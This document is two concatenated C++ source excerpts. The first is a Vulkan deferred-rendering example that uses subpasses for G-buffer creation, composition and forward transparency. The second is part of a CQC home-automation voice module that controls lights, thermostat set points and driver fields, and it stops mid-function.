subpassDescriptions[1].colorAttachmentCount = 1;
subpassDescriptions[1].pColorAttachments = &colorReference;
subpassDescriptions[1].pDepthStencilAttachment = &depthReference;
// Use the color attachments filled in the first pass as input attachments
subpassDescriptions[1].inputAttachmentCount = 3;
subpassDescriptions[1].pInputAttachments = inputReferences;
// Third subpass: Forward transparency
// ----------------------------------------------------------------------------------------
colorReference = { 0, vk::ImageLayout::eColorAttachmentOptimal };
inputReferences[0] = { 1, vk::ImageLayout::eShaderReadOnlyOptimal };
subpassDescriptions[2].pipelineBindPoint = vk::PipelineBindPoint::eGraphics;
subpassDescriptions[2].colorAttachmentCount = 1;
subpassDescriptions[2].pColorAttachments = &colorReference;
subpassDescriptions[2].pDepthStencilAttachment = &depthReference;
// Use the color/depth attachments filled in the first pass as input attachments
subpassDescriptions[2].inputAttachmentCount = 1;
subpassDescriptions[2].pInputAttachments = inputReferences;
// Subpass dependencies for layout transitions
std::array<vk::SubpassDependency, 4> dependencies;
dependencies[0].srcSubpass = VK_SUBPASS_EXTERNAL;
dependencies[0].dstSubpass = 0;
dependencies[0].srcStageMask = vk::PipelineStageFlagBits::eBottomOfPipe;
dependencies[0].dstStageMask = vk::PipelineStageFlagBits::eColorAttachmentOutput;
dependencies[0].srcAccessMask = vk::AccessFlagBits::eMemoryRead;
dependencies[0].dstAccessMask = vk::AccessFlagBits::eColorAttachmentRead | vk::AccessFlagBits::eColorAttachmentWrite;
dependencies[0].dependencyFlags = vk::DependencyFlagBits::eByRegion;
// This dependency transitions the input attachment from color attachment to shader read
dependencies[1].srcSubpass = 0;
dependencies[1].dstSubpass = 1;
dependencies[1].srcStageMask = vk::PipelineStageFlagBits::eColorAttachmentOutput;
dependencies[1].dstStageMask = vk::PipelineStageFlagBits::eFragmentShader;
dependencies[1].srcAccessMask = vk::AccessFlagBits::eColorAttachmentWrite;
dependencies[1].dstAccessMask = vk::AccessFlagBits::eShaderRead;
dependencies[1].dependencyFlags = vk::DependencyFlagBits::eByRegion;
dependencies[2].srcSubpass = 1;
dependencies[2].dstSubpass = 2;
dependencies[2].srcStageMask = vk::PipelineStageFlagBits::eColorAttachmentOutput;
dependencies[2].dstStageMask = vk::PipelineStageFlagBits::eFragmentShader;
dependencies[2].srcAccessMask = vk::AccessFlagBits::eColorAttachmentWrite;
dependencies[2].dstAccessMask = vk::AccessFlagBits::eShaderRead;
dependencies[2].dependencyFlags = vk::DependencyFlagBits::eByRegion;
dependencies[3].srcSubpass = 0;
dependencies[3].dstSubpass = VK_SUBPASS_EXTERNAL;
dependencies[3].srcStageMask = vk::PipelineStageFlagBits::eColorAttachmentOutput;
dependencies[3].dstStageMask = vk::PipelineStageFlagBits::eBottomOfPipe;
dependencies[3].srcAccessMask = vk::AccessFlagBits::eColorAttachmentRead | vk::AccessFlagBits::eColorAttachmentWrite;
dependencies[3].dstAccessMask = vk::AccessFlagBits::eMemoryRead;
dependencies[3].dependencyFlags = vk::DependencyFlagBits::eByRegion;
vk::RenderPassCreateInfo renderPassInfo = {};
renderPassInfo.attachmentCount = static_cast<uint32_t>(attachmentsDescs.size());
renderPassInfo.pAttachments = attachmentsDescs.data();
renderPassInfo.subpassCount = static_cast<uint32_t>(subpassDescriptions.size());
renderPassInfo.pSubpasses = subpassDescriptions.data();
renderPassInfo.dependencyCount = static_cast<uint32_t>(dependencies.size());
renderPassInfo.pDependencies = dependencies.data();
renderPass = device.createRenderPass(renderPassInfo);
// Create custom overlay render pass
attachmentsDescs[0].loadOp = vk::AttachmentLoadOp::eLoad;
uiRenderPass = device.createRenderPass(renderPassInfo);
}
void setupRenderPassBeginInfo() {
clearValues.clear();
clearValues.push_back(vks::util::clearColor({ 0.0f, 0.0f, 0.0f, 0.0f }));
clearValues.push_back(vks::util::clearColor({ 0.0f, 0.0f, 0.0f, 0.0f }));
clearValues.push_back(vks::util::clearColor({ 0.0f, 0.0f, 0.0f, 0.0f }));
clearValues.push_back(vks::util::clearColor({ 0.0f, 0.0f, 0.0f, 0.0f }));
clearValues.push_back(vk::ClearDepthStencilValue{ 1.0f, 0 });
renderPassBeginInfo = vk::RenderPassBeginInfo();
renderPassBeginInfo.renderPass = renderPass;
renderPassBeginInfo.renderArea.extent = size;
renderPassBeginInfo.clearValueCount = (uint32_t)clearValues.size();
renderPassBeginInfo.pClearValues = clearValues.data();
}
void updateDrawCommandBuffer(const vk::CommandBuffer& drawCmdBuffer) {
drawCmdBuffer.setViewport(0, viewport());
drawCmdBuffer.setScissor(0, scissor());
// First sub pass
// Renders the components of the scene to the G-Buffer atttachments
{
vks::debug::marker::beginRegion(drawCmdBuffer, "Subpass 0: Deferred G-Buffer creation", glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));
drawCmdBuffer.bindPipeline(vk::PipelineBindPoint::eGraphics, pipelines.offscreen);
drawCmdBuffer.bindDescriptorSets(vk::PipelineBindPoint::eGraphics, pipelineLayouts.offscreen, 0, descriptorSets.scene, nullptr);
drawCmdBuffer.bindVertexBuffers(0, models.scene.vertices.buffer, { 0 });
drawCmdBuffer.bindIndexBuffer(models.scene.indices.buffer, 0, vk::IndexType::eUint32);
drawCmdBuffer.drawIndexed(models.scene.indexCount, 1, 0, 0, 0);
vks::debug::marker::endRegion(drawCmdBuffer);
}
// Second sub pass
// This subpass will use the G-Buffer components that have been filled in the first subpass as input attachment for the final compositing
{
vks::debug::marker::beginRegion(drawCmdBuffer, "Subpass 1: Deferred composition", glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));
drawCmdBuffer.nextSubpass(vk::SubpassContents::eInline);
drawCmdBuffer.bindPipeline(vk::PipelineBindPoint::eGraphics, pipelines.composition);
drawCmdBuffer.bindDescriptorSets(vk::PipelineBindPoint::eGraphics, pipelineLayouts.composition, 0, descriptorSets.composition, nullptr);
drawCmdBuffer.draw(3, 1, 0, 0);
vks::debug::marker::endRegion(drawCmdBuffer);
}
// Third subpass
// Render transparent geometry using a forward pass that compares against depth generted during G-Buffer fill
{
vks::debug::marker::beginRegion(drawCmdBuffer, "Subpass 2: Forward transparency", glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));
drawCmdBuffer.nextSubpass(vk::SubpassContents::eInline);
drawCmdBuffer.bindPipeline(vk::PipelineBindPoint::eGraphics, pipelines.transparent);
drawCmdBuffer.bindDescriptorSets(vk::PipelineBindPoint::eGraphics, pipelineLayouts.transparent, 0, descriptorSets.transparent, nullptr);
drawCmdBuffer.bindVertexBuffers(0, models.transparent.vertices.buffer, { 0 });
drawCmdBuffer.bindIndexBuffer(models.transparent.indices.buffer, 0, vk::IndexType::eUint32);
drawCmdBuffer.drawIndexed(models.transparent.indexCount, 1, 0, 0, 0);
vks::debug::marker::endRegion(drawCmdBuffer);
}
}
void loadAssets() {
models.scene.loadFromFile(context, getAssetPath() + "models/samplebuilding.dae", vertexLayout, 1.0f);
models.transparent.loadFromFile(context, getAssetPath() + "models/samplebuilding_glass.dae", vertexLayout, 1.0f);
// Textures
if (deviceFeatures.textureCompressionBC) {
textures.glass.loadFromFile(context, getAssetPath() + "textures/colored_glass_bc3_unorm.ktx", vk::Format::eBc3UnormBlock);
} else if (deviceFeatures.textureCompressionASTC_LDR) {
textures.glass.loadFromFile(context, getAssetPath() + "textures/colored_glass_astc_8x8_unorm.ktx", vk::Format::eAstc8x8UnormBlock);
} else if (deviceFeatures.textureCompressionETC2) {
textures.glass.loadFromFile(context, getAssetPath() + "textures/colored_glass_etc2_unorm.ktx", vk::Format::eEtc2R8G8B8A8UnormBlock);
} else {
throw std::runtime_error("Device does not support any compressed texture format!");
}
}
/*
void setupVertexDescriptions() {
// Binding description
vertices.bindingDescriptions = {
vk::vertexInputBindingDescription(0, vertexLayout.stride(), VK_VERTEX_INPUT_RATE_VERTEX),
};
// Attribute descriptions
vertices.attributeDescriptions = {
// Location 0: Position
vk::vertexInputAttributeDescription(0, 0, vk::Format::eR32G32B32Sfloat, 0),
// Location 1: Color
vk::vertexInputAttributeDescription(0, 1, vk::Format::eR32G32B32Sfloat, sizeof(float) * 3),
// Location 2: Normal
vk::vertexInputAttributeDescription(0, 2, vk::Format::eR32G32B32Sfloat, sizeof(float) * 6),
// Location 3: UV
vk::vertexInputAttributeDescription(0, 3, vk::Format::eR32G32Sfloat, sizeof(float) * 9),
};
vertices.inputState = vk::pipelineVertexInputStateCreateInfo();
vertices.inputState.vertexBindingDescriptionCount = static_cast<uint32_t>(vertices.bindingDescriptions.size());
vertices.inputState.pVertexBindingDescriptions = vertices.bindingDescriptions.data();
vertices.inputState.vertexAttributeDescriptionCount = static_cast<uint32_t>(vertices.attributeDescriptions.size());
vertices.inputState.pVertexAttributeDescriptions = vertices.attributeDescriptions.data();
}
*/
void setupDescriptorPool() {
std::vector<vk::DescriptorPoolSize> poolSizes = {
vk::DescriptorPoolSize{ vk::DescriptorType::eUniformBuffer, 9 },
vk::DescriptorPoolSize{ vk::DescriptorType::eCombinedImageSampler, 9 },
vk::DescriptorPoolSize{ vk::DescriptorType::eInputAttachment, 4 },
};
descriptorPool = device.createDescriptorPool({ {}, 4, static_cast<uint32_t>(poolSizes.size()), poolSizes.data() });
}
void setupDescriptorSetLayout() {
// Deferred shading layout
std::vector<vk::DescriptorSetLayoutBinding> setLayoutBindings{
vk::DescriptorSetLayoutBinding{ 0, vk::DescriptorType::eUniformBuffer, 1, vk::ShaderStageFlagBits::eVertex },
};
descriptorSetLayouts.scene = device.createDescriptorSetLayout({ {}, static_cast<uint32_t>(setLayoutBindings.size()), setLayoutBindings.data() });
pipelineLayouts.offscreen = device.createPipelineLayout(vk::PipelineLayoutCreateInfo{ {}, 1, &descriptorSetLayouts.scene });
// Composition pass
setLayoutBindings = {
vk::DescriptorSetLayoutBinding{ 0, vk::DescriptorType::eInputAttachment, 1, vk::ShaderStageFlagBits::eFragment },
vk::DescriptorSetLayoutBinding{ 1, vk::DescriptorType::eInputAttachment, 1, vk::ShaderStageFlagBits::eFragment },
vk::DescriptorSetLayoutBinding{ 2, vk::DescriptorType::eInputAttachment, 1, vk::ShaderStageFlagBits::eFragment },
vk::DescriptorSetLayoutBinding{ 3, vk::DescriptorType::eUniformBuffer, 1, vk::ShaderStageFlagBits::eFragment },
};
descriptorSetLayouts.composition = device.createDescriptorSetLayout({ {}, static_cast<uint32_t>(setLayoutBindings.size()), setLayoutBindings.data() });
pipelineLayouts.composition = device.createPipelineLayout(vk::PipelineLayoutCreateInfo{ {}, 1, &descriptorSetLayouts.composition });
// Transparent (forward) pass
// Descriptor set layout
setLayoutBindings = {
vk::DescriptorSetLayoutBinding{ 0, vk::DescriptorType::eUniformBuffer, 1, vk::ShaderStageFlagBits::eVertex},
vk::DescriptorSetLayoutBinding{ 1, vk::DescriptorType::eInputAttachment, 1, vk::ShaderStageFlagBits::eFragment },
vk::DescriptorSetLayoutBinding{ 2, vk::DescriptorType::eCombinedImageSampler, 1, vk::ShaderStageFlagBits::eFragment },
};
descriptorSetLayouts.transparent = device.createDescriptorSetLayout({ {}, static_cast<uint32_t>(setLayoutBindings.size()), setLayoutBindings.data() });
pipelineLayouts.transparent = device.createPipelineLayout(vk::PipelineLayoutCreateInfo{ {}, 1, &descriptorSetLayouts.transparent });
}
void setupDescriptorSet() {
descriptorSets.scene = device.allocateDescriptorSets({ descriptorPool, 1, &descriptorSetLayouts.scene })[0];
descriptorSets.composition = device.allocateDescriptorSets({ descriptorPool, 1, &descriptorSetLayouts.composition })[0];
descriptorSets.transparent = device.allocateDescriptorSets({ descriptorPool, 1, &descriptorSetLayouts.transparent })[0];
vk::DescriptorImageInfo texDescriptorPosition{ nullptr, attachments.position.view, vk::ImageLayout::eShaderReadOnlyOptimal };
vk::DescriptorImageInfo texDescriptorNormal{ nullptr, attachments.normal.view, vk::ImageLayout::eShaderReadOnlyOptimal };
vk::DescriptorImageInfo texDescriptorAlbedo{ nullptr, attachments.albedo.view, vk::ImageLayout::eShaderReadOnlyOptimal };
std::vector<vk::WriteDescriptorSet> writeDescriptorSets{
vk::WriteDescriptorSet{ descriptorSets.scene, 0, 0, 1, vk::DescriptorType::eUniformBuffer, nullptr, &uniformBuffers.GBuffer.descriptor },
vk::WriteDescriptorSet{ descriptorSets.composition, 0, 0, 1, vk::DescriptorType::eInputAttachment, &texDescriptorPosition},
vk::WriteDescriptorSet{ descriptorSets.composition, 1, 0, 1, vk::DescriptorType::eInputAttachment, &texDescriptorNormal},
vk::WriteDescriptorSet{ descriptorSets.composition, 2, 0, 1, vk::DescriptorType::eInputAttachment, &texDescriptorAlbedo},
vk::WriteDescriptorSet{ descriptorSets.composition, 3, 0, 1, vk::DescriptorType::eUniformBuffer, nullptr, &uniformBuffers.lights.descriptor},
vk::WriteDescriptorSet{ descriptorSets.transparent, 0, 0, 1, vk::DescriptorType::eUniformBuffer, nullptr, &uniformBuffers.GBuffer.descriptor},
vk::WriteDescriptorSet{ descriptorSets.transparent, 1, 0, 1, vk::DescriptorType::eInputAttachment, &texDescriptorPosition},
vk::WriteDescriptorSet{ descriptorSets.transparent, 2, 0, 1, vk::DescriptorType::eCombinedImageSampler, &textures.glass.descriptor},
};
device.updateDescriptorSets(writeDescriptorSets, nullptr);
}
void preparePipelines() {
// Deferred pass
vks::pipelines::GraphicsPipelineBuilder builder{ device, pipelineLayouts.offscreen, renderPass };
builder.rasterizationState.frontFace = vk::FrontFace::eClockwise;
// 4 color attachments, no blending
builder.colorBlendState.blendAttachmentStates.resize(4);
// Offscreen scene rendering pipeline
builder.vertexInputState.appendVertexLayout(vertexLayout);
builder.loadShader(getAssetPath() + "shaders/subpasses/gbuffer.vert.spv", vk::ShaderStageFlagBits::eVertex);
builder.loadShader(getAssetPath() + "shaders/subpasses/gbuffer.frag.spv", vk::ShaderStageFlagBits::eFragment);
pipelines.offscreen = builder.create(context.pipelineCache);
builder.destroyShaderModules();
// Composition pass
builder.layout = pipelineLayouts.composition;
builder.rasterizationState.cullMode = vk::CullModeFlagBits::eNone;
builder.colorBlendState.blendAttachmentStates.resize(1);
builder.vertexInputState = vks::pipelines::PipelineVertexInputStateCreateInfo{};
builder.loadShader(getAssetPath() + "shaders/subpasses/composition.vert.spv", vk::ShaderStageFlagBits::eVertex);
builder.loadShader(getAssetPath() + "shaders/subpasses/composition.frag.spv", vk::ShaderStageFlagBits::eFragment);
// Use specialization constants to pass number of lights to the shader
vk::SpecializationMapEntry specializationEntry{ 0, 0, sizeof(uint32_t) };
uint32_t specializationData = NUM_LIGHTS;
vk::SpecializationInfo specializationInfo;
specializationInfo.mapEntryCount = 1;
specializationInfo.pMapEntries = &specializationEntry;
specializationInfo.dataSize = sizeof(specializationData);
specializationInfo.pData = &specializationData;
// Index of the subpass that this pipeline will be used in
builder.subpass = 1;
builder.depthStencilState.depthWriteEnable = VK_FALSE;
builder.shaderStages[1].pSpecializationInfo = &specializationInfo;
pipelines.composition = builder.create(context.pipelineCache);
builder.destroyShaderModules();
// Transparent (forward) pipeline
{
auto& blendAttachmentState = builder.colorBlendState.blendAttachmentStates[0];
// Enable blending
blendAttachmentState.blendEnable = VK_TRUE;
blendAttachmentState.srcColorBlendFactor = vk::BlendFactor::eSrcAlpha;
blendAttachmentState.dstColorBlendFactor = vk::BlendFactor::eOneMinusSrcAlpha;
blendAttachmentState.colorBlendOp = vk::BlendOp::eAdd;
blendAttachmentState.srcAlphaBlendFactor = vk::BlendFactor::eOne;
blendAttachmentState.dstAlphaBlendFactor = vk::BlendFactor::eZero;
blendAttachmentState.alphaBlendOp = vk::BlendOp::eAdd;
}
builder.vertexInputState.appendVertexLayout(vertexLayout);
builder.layout = pipelineLayouts.transparent;
builder.subpass = 2;
builder.loadShader(getAssetPath() + "shaders/subpasses/transparent.vert.spv", vk::ShaderStageFlagBits::eVertex);
builder.loadShader(getAssetPath() + "shaders/subpasses/transparent.frag.spv", vk::ShaderStageFlagBits::eFragment);
pipelines.transparent = builder.create(context.pipelineCache);
}
// Prepare and initialize uniform buffer containing shader uniforms
void prepareUniformBuffers() {
// Deferred vertex shader
uniformBuffers.GBuffer = context.createUniformBuffer(uboGBuffer);
// Deferred fragment shader
uniformBuffers.lights = context.createUniformBuffer(uboLights);
// Update
updateUniformBufferDeferredMatrices();
updateUniformBufferDeferredLights();
}
void updateUniformBufferDeferredMatrices() {
uboGBuffer.projection = camera.matrices.perspective;
uboGBuffer.view = camera.matrices.view;
uboGBuffer.model = glm::mat4(1.0f);
memcpy(uniformBuffers.GBuffer.mapped, &uboGBuffer, sizeof(uboGBuffer));
}
void initLights() {
std::vector<glm::vec3> colors = {
glm::vec3(1.0f, 1.0f, 1.0f), glm::vec3(1.0f, 0.0f, 0.0f), glm::vec3(0.0f, 1.0f, 0.0f), glm::vec3(0.0f, 0.0f, 1.0f), glm::vec3(1.0f, 1.0f, 0.0f),
};
std::mt19937 rndGen((unsigned)time(NULL));
std::uniform_real_distribution<float> rndDist(-1.0f, 1.0f);
std::uniform_int_distribution<uint32_t> rndCol(0, static_cast<uint32_t>(colors.size() - 1));
for (auto& light : uboLights.lights) {
light.position = glm::vec4(rndDist(rndGen) * 6.0f, 0.25f + std::abs(rndDist(rndGen)) * 4.0f, rndDist(rndGen) * 6.0f, 1.0f);
light.color = colors[rndCol(rndGen)];
light.radius = 1.0f + std::abs(rndDist(rndGen));
}
}
// Update fragment shader light position uniform block
void updateUniformBufferDeferredLights() {
// Current view position
uboLights.viewPos = glm::vec4(camera.position, 0.0f) * glm::vec4(-1.0f, 1.0f, -1.0f, 1.0f);
memcpy(uniformBuffers.lights.mapped, &uboLights, sizeof(uboLights));
}
void draw() {
ExampleBase::prepareFrame();
drawCurrentCommandBuffer();
ExampleBase::submitFrame();
}
void prepare() override {
ExampleBase::prepare();
initLights();
prepareUniformBuffers();
setupDescriptorSetLayout();
preparePipelines();
setupDescriptorPool();
setupDescriptorSet();
buildCommandBuffers();
prepared = true;
}
void viewChanged() override {
updateUniformBufferDeferredMatrices();
updateUniformBufferDeferredLights();
}
// UI overlay configuration needs to be adjusted for this example (renderpass setup, attachment count, etc.)
void OnSetupUIOverlay(vkx::ui::UIOverlayCreateInfo& createInfo) {
createInfo.renderPass = uiRenderPass;
createInfo.framebuffers = framebuffers;
createInfo.subpassCount = 3;
createInfo.attachmentCount = 4;
createInfo.clearValues = {
vks::util::clearColor({ 0.0f, 0.0f, 0.0f, 0.0f }),
vks::util::clearColor({ 0.0f, 0.0f, 0.0f, 0.0f }),
vks::util::clearColor({ 0.0f, 0.0f, 0.0f, 0.0f }),
vks::util::clearColor({ 0.0f, 0.0f, 0.0f, 0.0f }),
vk::ClearDepthStencilValue{ 1.0f, 0 },
};
}
void OnUpdateUIOverlay() override {
if (ui.header("Subpasses")) {
ui.text("0: Deferred G-Buffer creation");
ui.text("1: Deferred composition");
ui.text("2: Forward transparency");
}
if (ui.header("Settings")) {
if (ui.button("Randomize lights")) {
initLights();
updateUniformBufferDeferredLights();
}
}
}
};
VULKAN_EXAMPLE_MAIN()
|
//
// FILE NAME: CQCVoice_ThisFacility2.cpp
//
// AUTHOR: Dean Roddey
//
// CREATED: 01/02/2016
//
// COPYRIGHT: Charmed Quark Systems, Ltd @ 2020
//
// This software is copyrighted by 'Charmed Quark Systems, Ltd' and
// the author (Dean Roddey.) It is licensed under the MIT Open Source
// license:
//
// https://opensource.org/licenses/MIT
//
// DESCRIPTION:
//
// This file handles some of the facility methods, to keep it from getting too
// large.
//
// CAVEATS/GOTCHAS:
//
// LOG:
//
// ---------------------------------------------------------------------------
// Includes
// ---------------------------------------------------------------------------
#include "CQCVoice.hpp"
// ---------------------------------------------------------------------------
// TFacCQCVoice: Public, non-virtual methods
// ---------------------------------------------------------------------------
//
// A helper to run a global action as defined by the room configuration's global actino
// info class.
//
tCIDLib::TBoolean TFacCQCVoice::bRunGlobalAct(const TSCGlobActInfo& scliToRun)
{
// Let's try to download the action
TCQCStdCmdSrc csrcRun;
try
{
tCIDLib::TCard4 c4SerialNum = 0;
tCIDLib::TEncodedTime enctLast;
tCIDLib::TKVPFList colMeta;
TDataSrvClient dsclRead;
dsclRead.bReadGlobalAction
(
scliToRun.m_strPath
, c4SerialNum
, enctLast
, csrcRun
, colMeta
, cuctxToUse().sectUser()
);
}
catch(TError& errToCatch)
{
errToCatch.AddStackLevel(CID_FILE, CID_LINE);
TModule::LogEventObj(errToCatch);
return kCIDLib::False;
}
try
{
// Build up the parameters. It's a quoted comma list
TString strParms(128UL);
for (tCIDLib::TCard4 c4Index = 0; c4Index < kCQCSysCfg::c4MaxRmModeParms; c4Index++)
TStringTokenizer::BuildQuotedCommaList(scliToRun.m_colParms[c4Index], strParms);
//
// We want to disable speech input while this happens, in case it does any
// text to speech.
//
SetRecoPause(kCIDLib::True);
TCQCStdActEngine acteMode(facCQCVoice.cuctxToUse());
tCQCKit::ECmdRes eRes = acteMode.eInvokeOps
(
csrcRun
, kCQCKit::strEvId_OnTrigger
, facCQCVoice.ctarGlobalVars()
, acteMode.colExtra()
, acteMode.pcmdtDebug()
, strParms
);
SetRecoPause(kCIDLib::False);
}
catch(TError& errToCatch)
{
// Make sure recog gets turned back on
SetRecoPause(kCIDLib::False);
errToCatch.AddStackLevel(CID_FILE, CID_LINE);
TModule::LogEventObj(errToCatch);
return kCIDLib::False;
}
catch(...)
{
// Make sure recog gets turned back on
SetRecoPause(kCIDLib::False);
}
return kCIDLib::True;
}
//
// A helper to set a light level. If it has a dimmer field, we use that. If it only has
// a color field, we'll use the brightness of the color.
//
tCIDLib::TBoolean
TFacCQCVoice::bSetLightLevel(const TString& strName, const tCIDLib::TCard4 c4Percent)
{
//
// Let's try to find the light. If it fails, tell the user
//
const TSCLoadInfo* pscliLight = facCQCVoice.pscliLoadByName(strName);
if (!pscliLight)
{
facCQCVoice.SpeakReply(kCQCVoiceMsgs::midErr_LightNotFound);
return kCIDLib::False;
}
try
{
const TString& strMoniker = pscliLight->m_strMoniker;
tCQCKit::TCQCSrvProxy orbcDrv = facCQCKit().orbcCQCSrvAdminProxy(strMoniker);
TString strField;
if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_DimPref)
|| pscliLight->m_strField2.bStartsWith(kCQCVoice::strVal_DimPref))
{
if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_DimPref))
strField = pscliLight->m_strField;
else
strField = pscliLight->m_strField2;
orbcDrv->WriteCardByName
(
strMoniker, strField, c4Percent, m_cuctxToUse.sectUser(), tCQCKit::EDrvCmdWaits::Wait
);
}
else if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_ClrPref)
|| pscliLight->m_strField2.bStartsWith(kCQCVoice::strVal_ClrPref))
{
//
// In this case we have to read the current value, because we only want to
// change the brightness part of the color.
//
tCIDLib::TCard4 c4SerNum = 0;
TString strClr;
orbcDrv->bReadStringByName(c4SerNum, strMoniker, strField, strClr);
//
// Use the HSV class to parse it, since this is the format it uses, and
// it saves us a lot of nitpicky work.
//
THSVClr hsvClr;
if (!hsvClr.bParseFromText(strClr, kCIDLib::True, tCIDLib::ERadices::Dec, kCIDLib::chSpace))
{
return kCIDLib::False;
}
// Set the value level to the passed level, scaled to 0 to 255
tCIDLib::TFloat4 f4Val = tCIDLib::TFloat4(c4Percent);
f4Val /= 100.0F;
f4Val *= 255.0F;
if (f4Val > 255.0F)
f4Val = 255.0F;
hsvClr.f4Value(f4Val);
// Format it back out again, has to be hex format!
TString strValue;
hsvClr.FormatToText
(
strValue, kCIDLib::chSpace, kCIDLib::True, kCIDLib::False, tCIDLib::ERadices::Hex
);
// And write it back out
orbcDrv->WriteStringByName
(
strMoniker, strField, strValue, m_cuctxToUse.sectUser(), tCQCKit::EDrvCmdWaits::Wait
);
}
}
catch(TError& errToCatch)
{
errToCatch.AddStackLevel(CID_FILE, CID_LINE);
TModule::LogEventObj(errToCatch);
facCQCVoice.SpeakFailed();
return kCIDLib::False;
}
// It worked to tell the user it did
tCIDLib::TMsgId midReply;
midReply = kCQCVoiceMsgs::midStatus_LevelSet;
facCQCVoice.SpeakReply(midReply, kCQCVoice::strVal_Light, TCardinal(c4Percent));
return kCIDLib::True;
}
//
// A helper to set a light state. If the light has a switch field, we use that. If it
// has a dimmer only, we set it to 100%. If it has a color only, we set the brightness
// to 100%.
//
tCIDLib::TBoolean
TFacCQCVoice::bSetLightState(const TString& strName
, const tCIDLib::TBoolean bState)
{
//
// Let's try to find the light. If it fails, tell the user
//
const TSCLoadInfo* pscliLight = facCQCVoice.pscliLoadByName(strName);
if (!pscliLight)
{
facCQCVoice.SpeakReply(kCQCVoiceMsgs::midErr_LightNotFound);
return kCIDLib::False;
}
try
{
const TString& strMoniker = pscliLight->m_strMoniker;
tCQCKit::TCQCSrvProxy orbcDrv = facCQCKit().orbcCQCSrvAdminProxy(strMoniker);
TString strField;
if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_SwitchPref)
|| pscliLight->m_strField2.bStartsWith(kCQCVoice::strVal_SwitchPref))
{
if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_SwitchPref))
strField = pscliLight->m_strField;
else
strField = pscliLight->m_strField2;
orbcDrv->WriteBoolByName
(
strMoniker, strField, bState, m_cuctxToUse.sectUser(), tCQCKit::EDrvCmdWaits::Wait
);
}
else if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_DimPref)
|| pscliLight->m_strField2.bStartsWith(kCQCVoice::strVal_DimPref))
{
if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_DimPref))
strField = pscliLight->m_strField;
else
strField = pscliLight->m_strField2;
orbcDrv->WriteCardByName
(
strMoniker, strField, bState ? 100 : 0, m_cuctxToUse.sectUser(), tCQCKit::EDrvCmdWaits::Wait
);
}
else if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_ClrPref)
|| pscliLight->m_strField2.bStartsWith(kCQCVoice::strVal_ClrPref))
{
//
// In this case we have to read the current value, because we only want to
// change the brightness part of the color.
//
tCIDLib::TCard4 c4SerNum = 0;
TString strClr;
orbcDrv->bReadStringByName(c4SerNum, strMoniker, strField, strClr);
//
// Use the HSV class to parse it, since this is the format it uses, and
// it saves us a lot of nitpicky work.
//
THSVClr hsvClr;
if (!hsvClr.bParseFromText(strClr, kCIDLib::True, tCIDLib::ERadices::Dec, kCIDLib::chSpace))
{
return kCIDLib::False;
}
// Set the value level to 255 or 0
hsvClr.f4Value(bState ? 255.0F : 0.0F);
// Format it back out again, has to be hex format!
TString strValue;
hsvClr.FormatToText
(
strValue, kCIDLib::chSpace, kCIDLib::True, kCIDLib::False, tCIDLib::ERadices::Hex
);
// And write it back out
orbcDrv->WriteStringByName
(
strMoniker, strField, strValue, m_cuctxToUse.sectUser(), tCQCKit::EDrvCmdWaits::Wait
);
}
}
catch(TError& errToCatch)
{
errToCatch.AddStackLevel(CID_FILE, CID_LINE);
TModule::LogEventObj(errToCatch);
facCQCVoice.SpeakFailed();
return kCIDLib::False;
}
//
// It worked so tell the user it did. We give the spoken name here if we have it,
// else the main title.
//
const TString& strSpokenName
(
pscliLight->m_strAltName.bIsEmpty() ? strName : pscliLight->m_strAltName
);
facCQCVoice.SpeakReply
(
bState ? kCQCVoiceMsgs::midStatus_TurnedOn : kCQCVoiceMsgs::midStatus_TurnedOff
, strSpokenName
, kCQCVoice::strVal_Light
);
return kCIDLib::True;
}
//
// Handles the grunt work of setting the low or high set point for the thermo assigned
// to our room. The caller should have checked if we have thermo info. If not this is
// going to throw. We take the value as a string, so that we also handle the conversion
// check here. strSPName must be Low or High. We also get the set point name the user
// actually spoke, which we'll use in the spoken acknowledgement.
//
tCIDLib::TBoolean
TFacCQCVoice::bSetThermoSP(const TString& strSPName
, const TString& strVal
, const TString& strSpokenSPName)
{
// Make sure it's a valid signed number
tCIDLib::TInt4 i4NewSPVal;
if (!strVal.bToInt4(i4NewSPVal, tCIDLib::ERadices::Dec))
{
facCQCVoice.SpeakReply(L"The temperature value was not a valid signed number");
return kCIDLib::False;
}
// Get our HVAC info
const TSCHVACInfo& scliOurs = facCQCVoice.scliHVAC();
// Build up the appropriate field
TString strSPField(64UL);
strSPField = L"THERM#";
if (!scliOurs.m_strThermoSub.bIsEmpty())
{
strSPField.Append(scliOurs.m_strThermoSub);
strSPField.Append(kCIDLib::chTilde);
}
strSPField.Append(strSPName);
strSPField.Append(L"SetPnt");
try
{
const TString& strMoniker = scliOurs.m_strMoniker;
tCQCKit::TCQCSrvProxy orbcDrv = facCQCKit().orbcCQCSrvAdminProxy(strMoniker);
//
// First let's range check the field. If not in the field's range, it will
// tell the user and return false, so we just return false as well.
//
if (!bRangeCheckIntFld(orbcDrv, strMoniker, strSPField, i4NewSPVal))
return kCIDLib::False;
// Looks ok, so let's set it
orbcDrv->WriteIntByName
(
strMoniker, strSPField, i4NewSPVal, m_cuctxToUse.sectUser(), tCQCKit::EDrvCmdWaits::Wait
);
}
catch(TError& errToCatch)
{
errToCatch.AddStackLevel(CID_FILE, CID_LINE);
TModule::LogEventObj(errToCatch);
SpeakReply(kCQCVoiceMsgs::midErr_QuerySP, strSPName);
return kCIDLib::False;
}
// It worked
SpeakReply(kCQCVoiceMsgs::midSpeak_HLSPSet, strSpokenSPName, TInteger(i4NewSPVal));
return kCIDLib::True;
}
// A general purpose field write mechanism for the nodes to use. We can either let
// any exceptions propagate, or return a false on failure. Defaults to not throwing.
//
tCIDLib::TBoolean
TFacCQCVoice::bWriteField( const TString& strMoniker
, const TString& strField
, const TString& strValue
, const tCIDLib::TBoolean bThrowIfErr)
{
try
{
tCQCKit::TCQCSrvProxy orbcDrv = facCQCKit().orbcCQCSrvAdminProxy(strMoniker);
orbcDrv->WriteFieldByName
(
strMoniker, strField, strValue, m_cuctxToUse.sectUser(), tCQCKit::EDrvCmdWaits::Wait
);
}
